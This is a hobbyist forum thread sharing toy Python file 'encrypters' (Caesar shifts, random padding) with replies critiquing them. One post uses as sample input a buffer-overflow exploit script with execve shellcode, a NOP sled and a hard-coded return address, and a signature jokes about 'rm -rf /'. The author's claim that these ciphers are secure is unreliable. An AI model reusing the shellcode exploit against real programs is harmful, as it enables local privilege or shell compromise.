Simple Python Encrypter/Decrypter

For the discussion of Perl, Python, Ruby, and PHP and other interpreted languages.

Simple Python Encrypter/Decrypter

Post by Th3_M4d_H4tt3r on Thu Jul 04, 2013 8:55 pm
([msg=76343]see Simple Python Encrypter/Decrypter[/msg])

Just a small project of mine:
Code: Select all
#!/usr/bin/python
import sys
from random import randrange

if sys.argv[1]=="encrypt":
   ifile   =   sys.argv[2]
   ofile   =   sys.argv[3]

   f = open(ifile, "r")
   fdata = f.read()
   f.close()

   key   =   randrange(1000)

   f = open(ofile, "a")

   for i in fdata:
      x = ord(i)
      f.write(str(x+key)+"\n")

   print "Key is: "+str(key)

   f.close()

else:

   ifile   =   sys.argv[2]
   key   =   int(sys.argv[3])
   f = open(ifile, "r")
   fdata=f.read()
   with open(ifile) as f:
      for i in f:
         x = int(i)-key
         x = chr(x)
         sys.stdout.write(x)


to make an encrypted file use:
./encrypter.py encrypt input_file output_file

to decrypt a file use:
./encrypter.py decrypt input_file key

Not an extremely powerful encryption.
Tip me if I helped you!
BTC Address: 15wu8gxFAemZH3jC4km3Z8gMYtKHLxpnEv
User avatar
Th3_M4d_H4tt3r
Experienced User
Experienced User
 
Posts: 54
Joined: Tue Jun 18, 2013 8:25 am
Blog: View Blog (0)


Re: Simple Python Encrypter/Decrypter

Post by counterhash on Thu Jul 04, 2013 10:41 pm
([msg=76344]see Re: Simple Python Encrypter/Decrypter[/msg])

Th3_M4d_H4tt3r wrote:Just a small project of mine:
Code: Select all
#!/usr/bin/python
import sys
from random import randrange

if sys.argv[1]=="encrypt":
   ifile   =   sys.argv[2]
   ofile   =   sys.argv[3]

   f = open(ifile, "r")
   fdata = f.read()
   f.close()

   key   =   randrange(1000)

   f = open(ofile, "a")

   for i in fdata:
      x = ord(i)
      f.write(str(x+key)+"\n")

   print "Key is: "+str(key)

   f.close()

else:

   ifile   =   sys.argv[2]
   key   =   int(sys.argv[3])
   f = open(ifile, "r")
   fdata=f.read()
   with open(ifile) as f:
      for i in f:
         x = int(i)-key
         x = chr(x)
         sys.stdout.write(x)


to make an encrypted file use:
./encrypter.py encrypt input_file output_file

to decrypt a file use:
./encrypter.py decrypt input_file key

Not an extremely powerful encryption.

Quite true about the not powerful bit, it's using pseudorandom. Might I suggest looking up cryptographically secure random algorithms in oython? (I forget which module has the funcrion for it, I think it might be the SSL one or something weird like that)
If you use del \system32\ and not rm - rf / you are quite clearly doing it wrong.
counterhash
New User
New User
 
Posts: 11
Joined: Fri Jun 28, 2013 7:04 am
Location: Somewhere
Blog: View Blog (0)


Re: Simple Python Encrypter/Decrypter

Post by Th3_M4d_H4tt3r on Fri Jul 05, 2013 2:30 pm
([msg=76353]see Re: Simple Python Encrypter/Decrypter[/msg])

I made it somewhat more powerful, here is my non-encrypted file:
Code: Select all
import sys
import os
from binascii import hexlify

buffsize=int(sys.argv[1])

program = sys.argv[2]

shellcode="\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"

ret="\xb0\xf4\xff\xbf"   #0xbffff4b0

print "Using address: "+hexlify(ret)

nops = buffsize - len(shellcode)+12

exploit = "\x90" * nops + shellcode + ret

os.popen("gnome-terminal -x "+program+" "+exploit)

just a simple python program with an exploit.
here is my file after encryption; with the key of 48:
Code: Select all
������P���:������P��:����P��������P������P�������::��������m���X���^�����a�Y::�������PmP���^�����b�::���������mR��f���`���eh��ii��eb��fh��b���b���gc��fh��fh��b���fb��fi��f���hi���c��eb��ec��hi���a������h`R::���mR���`���d��������R9S`������d�`::�����PR�����P�������jPR[�������X���Y::����PmP��������P]P���X���������Y[ab::�������PmPR��i`RPZP����P[P���������P[P���::��^�����XR�����]��������P]�PR[�������[RPR[�������Y:

If the key is low; it can get more ubfuscated, the key should never be higher than 60 for plain text.
if a file; use a key under 10.

here is my updated code:
Code: Select all
import sys
from random import randrange

if sys.argv[1]=="encrypt":
   ifile   =   sys.argv[2]
   ofile   =   sys.argv[3]

   f = open(ifile, "r")
   fdata = f.read()
   f.close()

   key   =   randrange(50)

   f = open(ofile, "a")

   for i in fdata:
      x = ord(i)
      f.write(chr(x+key))

   print "Key is: "+str(key)

   f.close()

else:

   ifile   =   sys.argv[2]
   key   =   int(sys.argv[3])
   f = open(ifile, "r")
   fdata=f.read()
   for i in fdata:
      x = ord(i)-key
      x = chr(x)
      sys.stdout.write(x)


The reason why I am using a random key; is so no one uses "1234" because it just wont work.
Tip me if I helped you!
BTC Address: 15wu8gxFAemZH3jC4km3Z8gMYtKHLxpnEv
User avatar
Th3_M4d_H4tt3r
Experienced User
Experienced User
 
Posts: 54
Joined: Tue Jun 18, 2013 8:25 am
Blog: View Blog (0)


Re: Simple Python Encrypter/Decrypter

Post by ghost107 on Sat Jul 06, 2013 7:15 pm
([msg=76377]see Re: Simple Python Encrypter/Decrypter[/msg])

Nice, Caesar cypher, for protection for protection is nice to use a longer key.

And for key you could make a key generation algorithm(using a mathematical model), for example you can put the public key and will generate another key (or keys), you can throw some bit-wise operations(like xor, shifts, even using a mask to rearrange the bits in your key).

For encryption you could use a similar algorithm like generating the subkey(s), for example, or even you could use blocks of data symmetrical to your keys, you could even generate dummy data.

Here is a little more secure version of Caesar cypher, with a shifting key(and not too far from what you have):
Encryption:
Code: Select all
key   =   randrange(50)
print "Key is: "+str(key)
for i in fdata:
      x = ord(i)
      f.write(chr(x+key))
      key = x


Decryption:
Code: Select all
key   =   int(sys.argv[3])
for i in fdata:
      x = ord(i)-key
      x = chr(x)
      sys.stdout.write(x)
      key =ord(x)
ghost107
Poster
Poster
 
Posts: 132
Joined: Wed Jul 02, 2008 7:57 am
Blog: View Blog (0)


Re: Simple Python Encrypter/Decrypter

Post by Th3_M4d_H4tt3r on Tue Jul 09, 2013 3:54 am
([msg=76390]see Re: Simple Python Encrypter/Decrypter[/msg])

I made is much more secure, althought the file getts larger the size of the key it will work well.
here is my code:
Code: Select all
import sys
from random import randrange
from os import urandom

ifile   =   sys.argv[2]
try:
   ofile   =   sys.argv[3]
except:
   pass
f = open(ifile, "r")
fdata = f.read()
f.close()

textkey = "ASDF" #larger the key, the bigger the encrypted file is.

def MakeKey():
   for i in textkey:
      x = ord(i)
      yield x

key = 0

for i in MakeKey():
   key = key + i

print "Key is: "+str(key)

def Encrypt():
   f = open(ofile, "a")
   for i in fdata:
      f.write(urandom(key))
      f.write(i)


def Decrypt():
   count = 0
   for i in fdata:
      count = count + 1
      if count==key+1:
         sys.stdout.write(i)
         count = 0

if sys.argv[1]=="encrypt":
   Encrypt()
else:
   Decrypt()


Much smaller and more portable. fills in large gaps with dummy datamaking it 20% cooler, it now has a text based key :)
Tip me if I helped you!
BTC Address: 15wu8gxFAemZH3jC4km3Z8gMYtKHLxpnEv
User avatar
Th3_M4d_H4tt3r
Experienced User
Experienced User
 
Posts: 54
Joined: Tue Jun 18, 2013 8:25 am
Blog: View Blog (0)



Return to Interpreted Languages

Who is online

Users browsing this forum: No registered users and 0 guests